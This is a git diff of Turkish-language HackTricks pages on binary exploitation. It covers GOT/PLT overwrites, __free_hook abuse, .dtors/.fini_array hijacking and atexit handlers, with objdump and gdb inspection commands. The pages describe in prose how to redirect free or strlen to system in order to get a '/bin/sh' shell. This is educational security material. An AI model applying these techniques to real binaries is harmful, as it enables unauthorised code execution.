* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça silinerek delete fonksiyonu çağrılır, **`__free_hook`** fonksiyonu tetiklenir ve `/bin/sh\x00` parametre olarak system fonksiyonuna işaret eder.
* Bunun için, boyutu `0xfc` olan yeni bir parça oluşturulur ve birleştirilmiş fonksiyon o işaretçiyle iki kez çağrılır, bu şekilde hızlı bir parçanın boyutu `0xfc*2 = 0x1f8` olan bir parçanın işaretçisine ulaşılır.
* Ardından, bu parçada edit fonksiyonu çağrılır ve bu hızlı parçanın **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret etmek üzere değiştirilir.
* Daha sonra, hızlı bir parçanın önceki gereksiz parçasını almak için boyutu `0x1f8` olan bir parça oluşturulur, böylece **`__free_hook`**'a hızlı bir parça parçası almak için boyutu `0x1f8` olan başka bir parça oluşturulur ve bu parça **`system`** fonksiyonunun adresiyle üzerine yazılır.
* Ve son olarak, `/bin/sh\x00` dizesini içeren bir parça silme fonksiyonunu çağırarak serbest bırakılır, **`__free_hook`** fonksiyonunu tetikler ve parametre olarak `/bin/sh\x00` ile system'e işaret eder.
## Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}

View file

@ -1,42 +1,43 @@
# WWW2Exec - GOT/PLT
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **Temel Bilgiler**
### **GOT: Global Offset Table**
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici fonksiyonların adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediği için** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra bu adresleri dinamik olarak güncellemek için bir yol sağlar**.
**Global Offset Table (GOT)**, dinamik olarak bağlanmış ikili dosyalarda **harici işlevlerin adreslerini yönetmek için kullanılan bir mekanizmadır**. Bu adresler **çalışma zamanında bilinmediği için** (dinamik bağlantı nedeniyle), GOT, bu harici sembollerin adreslerinin **çözüldükten sonra bu adresleri dinamik olarak güncellemek için bir yol sağlar**.
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **fonksiyon ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı fonksiyona yapılan sonraki çağrılar, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme işleminin üstesinden gelinir.
GOT'taki her giriş, ikili dosyanın çağırabileceği harici kütüphanelerdeki bir sembole karşılık gelir. Bir **işlev ilk kez çağrıldığında, dinamik bağlayıcı tarafından gerçek adresi çözülür ve GOT'ta depolanır**. Aynı işlevin sonraki çağrıları, GOT'ta depolanan adresi kullanır, böylece adresi tekrar çözme gereksiniminden kaçınılır.
### **PLT: Procedure Linkage Table**
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici fonksiyonlara yapılan çağrıları işlemek için bir trambolin görevi görür. Bir ikili **harici bir fonksiyonu ilk kez çağırdığında, kontrol bu fonksiyonla ilişkili PLT girişine geçer**. Bu PLT girişi, fonksiyonun adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmediyse. Adres çözüldükten sonra, **GOT'ta** depolanır.
**Procedure Linkage Table (PLT)**, GOT ile yakından çalışır ve harici işlevlere yapılan çağrıları işlemek için bir trambolin görevi görür. Bir ikili **bir harici işlevi ilk kez çağırdığında, kontrol, o işlevle ilişkili PLT girişine geçer**. Bu PLT girişi, işlevin adresini çözmek için dinamik bağlayıcıyı çağırmaktan sorumludur eğer daha önce çözülmemişse. Adres çözüldükten sonra, GOT'ta depolanır.
**Bu nedenle,** harici bir fonksiyonun veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır.
**Bu nedenle,** harici bir işlevin veya değişkenin adresi çözüldüğünde GOT girişleri doğrudan kullanılır. **PLT girişleri, bu adreslerin başlangıçta çözülmesini** dinamik bağlayıcı aracılığıyla kolaylaştırmak için kullanılır.
## Yürütme Al
### GOT'u Kontrol Et
GOT tablosunun adresini almak için: **`objdump -s -j .got ./exec`**
**`objdump -s -j .got ./exec`** komutu ile GOT tablosunun adresini alın.
![](<../../.gitbook/assets/image (121).png>)
GEF'de **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan fonksiyonları görebilirsiniz**: `gef➤ x/20x 0xADDR_GOT`
GEF ile **yürütülebilir** dosyayı **yükledikten** sonra GOT'ta **bulunan** **işlevleri görebilirsiniz**: `gef➤ x/20x 0xADDR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
@ -46,31 +47,31 @@ GEF kullanarak **hata ayıklama** oturumu başlatabilir ve GOT tablosunu görmek
### GOT2Exec
Bir ikili dosyada GOT, **fonksiyonların adreslerine veya** **fonksiyon adresini yükleyecek olan PLT** bölümüne sahiptir. Bu keyfi yazmanın amacı, daha sonra **yürütülecek bir fonksiyonun GOT girişini** değiştirmektir **örneğin** `system` **fonksiyonunun PLT adresiyle**.
Bir ikili dosyada GOT, **işlevlerin adreslerine veya** işlev adresini yükleyecek olan **PLT** bölümüne sahiptir. Bu keyfi yazma işleminin amacı, daha sonra **`system`** **işlevinin PLT'sinin adresiyle** değiştirilecek bir işlevin GOT girişini **geçersiz kılmaktır**.
İdeal olarak, **kontrolünü sağladığınız parametrelerle çağrılacak bir fonksiyonun GOT'unu** **değiştireceksiniz** (böylece sistem fonksiyonuna gönderilen parametreleri kontrol edebileceksiniz).
İdeal olarak, **kontrolünü sağladığınız parametrelerle çağrılacak bir işlevin GOT'unu geçersiz kılacaksınız** (bu sayede sistem işlevine gönderilen parametreleri kontrol edebileceksiniz).
Eğer ikili dosya **`system`** **kullanmıyorsa**, sistem fonksiyonunun **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` fonksiyonunun adresini sızdırmanız ve ardından GOT'u bu adrese yönlendirmeniz gerekecektir.
Eğer ikili tarafından **`system`** **kullanılmıyorsa**, sistem işlevinin **PLT'de bir girişi olmayacak**. Bu senaryoda, önce `system` işlevinin adresini sızdırmanız ve ardından GOT'u bu adrese işaretleyecek şekilde üzerine yazmanız gerekecektir.
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** ile görebilirsiniz.
PLT adreslerini **`objdump -j .plt -d ./vuln_binary`** komutu ile görebilirsiniz.
## libc GOT girişleri
**Libc GOT**'un **genellikle kısmi RELRO** ile derlendiği ve adresinin belirlenebilmesi durumunda (ASLR) bu için güzel bir hedef olduğu varsayılırsa, bu teknik için güzel bir hedef olabilir.
**Libc GOT**'un **partial RELRO** ile derlenmesi genellikle mümkünse adresini bulmak için güzel bir hedef oluşturur ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Libc'nin yaygın fonksiyonları, **diğer dahili fonksiyonları çağıracaklar** ve bu fonksiyonların GOT'u üzerine yazarak kod yürütme elde edilebilir.
Libc'nin yaygın işlevleri, **başka dahili işlevleri çağıracaklar** ve bu işlevlerin GOT'u geçersiz kılınarak kod yürütme elde edilebilir.
Bu tekniğe ilişkin [**daha fazla bilgiyi burada bulabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Free2system**
### **Free2system**
Heap istismarı CTF'lerinde, parçaların içeriğini kontrol edebilmek ve GOT tablosunu hatta bazen üzerine yazabilmek yaygındır. Bir gadget mevcut değilse RCE elde etmenin basit bir yolu, `free` GOT adresini `system`'e yönlendirmek ve bir parçaya `"/bin/sh"` yazmak olabilir. Bu şekilde bu parça serbest bırakıldığında `system("/bin/sh")` çalıştırılacaktır.
Heap istismarı CTF'lerinde genellikle parçaların içeriğini kontrol edebilmek ve GOT tablosunu hatta bazen üzerine yazabilmek mümkündür. Eğer bir gadget mevcut değilse RCE elde etmek için basit bir hile, `free` GOT adresini `system`'e işaret etmek ve bir parçaya `"/bin/sh"` yazmaktır. Bu şekilde bu parça serbest bırakıldığında `system("/bin/sh")` çalıştırılacaktır.
## **Strlen2system**
### **Strlen2system**
Başka yaygın bir teknik, **`strlen`** GOT adresini **`system`'e** yönlendirmektir, böylece bu fonksiyon kullanıcı girdisiyle çağrıldığında `"/bin/sh"` dizesini geçmek ve bir kabuk almak mümkün olabilir.
Başka yaygın bir teknik, **`strlen`** GOT adresini **`system`'e işaret etmek**tir, böylece bu işlev kullanıcı girdisiyle çağrıldığında `"/bin/sh"` dizesini geçmek ve bir kabuk almak mümkün olacaktır.
Ayrıca, kullanıcı girdisiyle `puts` kullanılıyorsa, `puts` GOT adresini `system`'e yönlendirmek ve dize `"/bin/sh"`'yi geçmek mümkün olabilir çünkü **`puts` kullanıcı girdisiyle `strlen`'ı çağıracaktır**.
Ayrıca, eğer `puts` kullanıcı girdisiyle kullanılıyorsa, `strlen` GOT adresini `system`'e işaret etmek ve dize `"/bin/sh"`'yi geçmek mümkün olacaktır çünkü **`puts`, kullanıcı girdisiyle `strlen`'i çağıracaktır**.
## **One Gadget**
@ -80,13 +81,13 @@ Ayrıca, kullanıcı girdisiyle `puts` kullanılıyorsa, `puts` GOT adresini `sy
## **Heap'ten GOT'un Kötüye Kullanımı**
Bir heap zafiyetinden RCE elde etmenin yaygın bir yolu, bir fastbin'i kötüye kullanmak ve GOT tablosunun bir kısmını fast bin içine eklemek olabilir, böylece o parça tahsis edildiğinde genellikle `free` fonksiyonunun işaretçisini üzerine yazmak mümkün olabilir.\
Sonra, `free`'yi `system`'e yönlendirerek ve `/bin/sh\x00` yazılmış bir parçayı serbest bırakarak bir kabuk çalıştırmak mümkün olacaktır.
Bir heap zafiyetinden RCE elde etmenin yaygın bir yolu, bir fastbin'i kötüye kullanmak ve GOT tablosunun bir kısmını hızlı bin içine eklemek, böylece o parça tahsis edildiğinde genellikle `free` işlevinin işaretçisini **üzerine yazmak mümkün olacaktır**.\
Ardından, `free`'yi `system`'e işaret etmek ve `/bin/sh\x00` yazılmış bir parçayı serbest bırakmak, bir kabuk yürütmek mümkün olacaktır.
Bir [**örneği burada bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
## **Koruma**
**Tam RELRO** koruması, ikili başlatıldığında tüm işlevlerin adreslerini çözerek ve ardından **GOT tablosunu salt okunur** yaparak bu tür tekniklere karşı koruma sağlar:
**Tam RELRO** koruması, ikili başlatıldığında tüm işlevlerin adreslerini çözerek ve ardından **GOT tablosunu salt okunur** hale getirerek bu tür tekniklere karşı koruma sağlamayı amaçlar:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -96,17 +97,3 @@ Bir [**örneği burada bulabilirsiniz**](https://ctf-wiki.mahaloz.re/pwn/linux/g
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,34 +1,35 @@
# WWW2Exec - .dtors ve .fini\_array
# WWW2Exec - .dtors & .fini\_array
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}
## .dtors
{% hint style="danger" %}
Günümüzde bir binary dosyada .dtors bölümü bulmak **çok garip**!
Günümüzde bir binary dosyası bulmak çok **garip bir durum!**
{% endhint %}
Yıkıcılar, **programın sona ermeden önce çalıştırılan fonksiyonlardır** (`main` fonksiyonu geri döndükten sonra).\
Bu fonksiyonların adresleri, binary dosyanın **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`** içinde bir **shellcode** adresine **yazmayı** başarırsanız, bu programın sona ermeden önce **çalıştırılacaktır**.
Yıkıcılar, programın **bitişinden önce** (ana işlev geri döndükten sonra) **çalıştırılan işlevlerdir**.\
Bu işlevlerin adresleri, binary dosyanın **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`** içine bir **shellcode** adresi **yazmayı** başarırsanız, bu, programın sona ermeden önce **çalıştırılacaktır**.
Bu bölümün adresini şu şekilde alın:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Genellikle **DTOR** işaretçilerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **kayıtlı herhangi bir fonksiyonun olmadığı anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ı** çalıştırmak için **adresle üzerine yazın**.
Genellikle **DTOR** işaretçilerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **kayıtlı herhangi bir fonksiyonun olmadığı anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ın adresiyle üzerine yazın** ve onu çalıştırın.
{% hint style="warning" %}
Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer bulmanız gerekiyor**.
@ -36,7 +37,7 @@ Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer
## **.fini\_array**
Temelde bu, programın bitmeden önce **çağrılacak fonksiyonların bulunduğu bir yapıdır**, **`.dtors`** gibi. Bu, **shellcode'u bir adrese atlayarak çağırabildiğinizde** veya **zafiyeti ikinci kez sömürmek için tekrar `main`'e gitmeniz gerektiğinde** ilginçtir.
Temelde bu, programın **bitişinden önce çağrılacak fonksiyonlar** içeren bir yapıdır, **`.dtors`** gibi. Bu, **sadece bir adrese atlayarak shellcode'ınızı çağırabiliyorsanız** veya **zafiyeti ikinci kez sömürmek için tekrar `main`'e gitmeniz gereken durumlarda** ilginçtir.
```bash
objdump -s -j .fini_array ./greeting
@ -47,19 +48,34 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
**`.fini_array`**'dan bir işlev çalıştırıldığında bir sonrakine geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin yürütülmesini** sağlar.
Not: Bir **`.fini_array`** işlevi çalıştırıldığında bir sonrakine geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin yürütülmesini** sağlar.
**`.fini_array`** içindeki girişler **ters** sırayla çağrılır, bu nedenle muhtemelen en sondan yazmaya başlamak istersiniz.
Not: `.fini_array` içindeki girişler **ters** sırayla çağrılır, bu nedenle muhtemelen en sondan yazmaya başlamak istersiniz.
#### Sonsuz döngü
**`.fini_array`**'ı sonsuz bir döngü elde etmek için kötüye kullanmak için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** En az 2 girişiniz varsa **`.fini_array`** içinde, şunları yapabilirsiniz:
**`.fini_array`**'yi sonsuz bir döngü elde etmek için kötüye kullanmak için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** En az 2 girişiniz varsa **`.fini_array`** içinde, şunları yapabilirsiniz:
* İlk yazmanızı **zararlı keyfi yazma işlevini çağırmak** için kullanın
* Ardından, **`__libc_csu_fini`** tarafından depolanan yığında dönüş adresini hesaplayın ve oraya **`__libc_csu_fini`**'nin adresini koyun
* Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasını sağlayacak ve **`.fini_array`** işlevlerini tekrar çalıştıracak, bu da zararlı WWW işlevini 2 kez çağıracak: biri için **keyfi yazma** ve diğeri **`__libc_csu_fini`**'nin yığınındaki dönüş adresini tekrar üzerine yazmak için kendisini tekrar çağırmak için.
* İlk yazmanızı **zafiyetli keyfi yazma işlevini çağırmak** için kullanın
* Ardından, **`__libc_csu_fini`** tarafından depolanan yığında dönüş adresini hesaplayın (tüm `.fini_array` işlevlerini çağıran işlev) ve oraya **`__libc_csu_fini`** adresini koyun
* Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırmasını sağlayacak ve **`.fini_array`** işlevlerini tekrar çalıştıracak, bu da zafiyetli WWW işlevini 2 kez çağıracak: biri için **keyfi yazma** ve diğeri **`__libc_csu_fini`**'nin yığında tekrar dönüş adresini üzerine yazmak için kendisini tekrar çağırmak için.
{% hint style="danger" %}
[**Tam RELRO**](../common-binary-protections-and-bypasses/relro.md)** ile,** bölüm **`.fini_array`** **salt okunur** hale getirilir.
Yeni sürümlerde, [**Kısmi RELRO**] ile bile bölüm **`.fini_array`** **salt okunur** hale getirilir.
{% endhint %}
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Destek HackTricks</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek hacking püf noktalarını paylaşın.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# WWW2Exec - atexit(), TLS Depolama ve Diğer Karışık İşaretçiler
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **\_\_atexit Yapıları**
{% hint style="danger" %}
Günümüzde bunu **saldırmak çok garip!**
Günümüzde bunu **sömürmek çok garip!**
{% endhint %}
**`atexit()`**, **parametre olarak başka fonksiyonların** geçildiği bir fonksiyondur. Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaklardır.**\
Eğer bu **fonksiyonlardan herhangi birinin adresini** örneğin bir shellcode'a işaret edecek şekilde **değiştirebilirseniz**, işlem **üzerinde kontrol** sağlayacaksınız, ancak bu şu anda daha karmaşıktır.\
Şu anda **çalıştırılacak fonksiyonların adresleri** birkaç yapı arkasında **gizlenmiştir** ve sonunda işaret ettiği adresler fonksiyonların adresleri değildir, ancak **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır.** Bu nedenle bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** üzerinde çok kullanışlı değildir.\
**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler** bu şifreleme fonksiyonunu **uygulamazlar** çünkü girdi olarak aldıklarını **aynı şekilde geri döndürürler.** Bu nedenle bu mimariler bu vektör tarafından saldırıya uğrayabilirler.
**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği bir fonksiyondur.** Bu **fonksiyonlar**, bir **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaklardır.**\
Eğer bu **fonksiyonlardan herhangi birinin adresini değiştirebilirseniz** ve örneğin bir **shellcode'a** işaret ederse, **işlem kontrolünü ele geçireceksiniz**, ancak bu şu anda daha karmaşıktır.\
Şu anda **çalıştırılacak fonksiyonların adresleri** birkaç yapı arkasında gizlenmiştir ve sonunda işaret ettiği adresler fonksiyonların adresleri değil, **XOR ile şifrelenmiş ve rastgele bir anahtarla kaydırılmıştır.** Bu nedenle bu saldırı vektörü şu anda **en azından x86** ve **x64\_86** üzerinde çok kullanışlı değildir.\
**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dır. m68k, mips32, mips64, aarch64, arm, hppa gibi **diğer mimariler**, girdi olarak aldığı gibi **şifrelemeyi uygulamaz**. Bu nedenle bu mimariler bu vektör tarafından saldırıya uğrayabilir.
Bu nasıl çalıştığını ayrıntılı olarak [burada](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) bulabilirsiniz.
